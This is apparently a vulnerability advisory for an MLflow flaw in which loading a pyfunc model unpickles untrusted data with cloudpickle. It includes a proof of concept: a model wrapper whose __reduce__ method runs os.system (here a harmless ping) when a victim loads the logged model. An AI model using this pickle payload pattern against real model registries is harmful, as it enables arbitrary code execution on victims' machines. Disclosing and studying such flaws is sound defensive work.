Cloudpickle Load on PyFunc Model Load Leading to Code Execution

Products Impacted

This vulnerability was introduced in version 0.9.0 of MLflow.

CVSS Score: 8.8

AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE Categorization

CWE-502: Deserialization of Untrusted Data.

Details

The vulnerability exists within the mlflow/pyfunc/model.py file, within the function _load_context_model_and_signature. This is called when the mlflow.pyfunc.load_model function is called.

def _load_context_model_and_signature(
	model_path: str, model_config: Optional[Dict[str, Any]] = None
):
	...
	with open(os.path.join(model_path, python_model_subpath), "rb") as f:
    		python_model = cloudpickle.load(f)

An attacker can exploit this by creating a wrapper for a pmdarima model that contains malicious code and use the mlflow.pyfunc.log_model() to log this to the target MLflow server.

class PmdarimaWrapper(mlflow.pyfunc.PythonModel):
	def __init__(self):
    	import os

    	class RunCommand:
        	def __reduce__(self):
            	return (os.system, ('ping -c 4 8.8.8.8',))

    	self.command = RunCommand()
...

# Log the model
with mlflow.start_run():
	wrapper = PmdarimaWrapper()
	mlflow.pyfunc.log_model(
    		artifact_path="model",
    		python_model=wrapper,
    		registered_model_name="PyfuncPickleTest"
	)

When the model is loaded by the victim (example code snippet below), the arbitrary code is executed on their machine:

import mlflow
...
logged_model = "models:/PyfuncPickleTest/1"
loaded_model = mlflow.pyfunc.load_model(logged_model, dst_path='/tmp/pyfunc_model')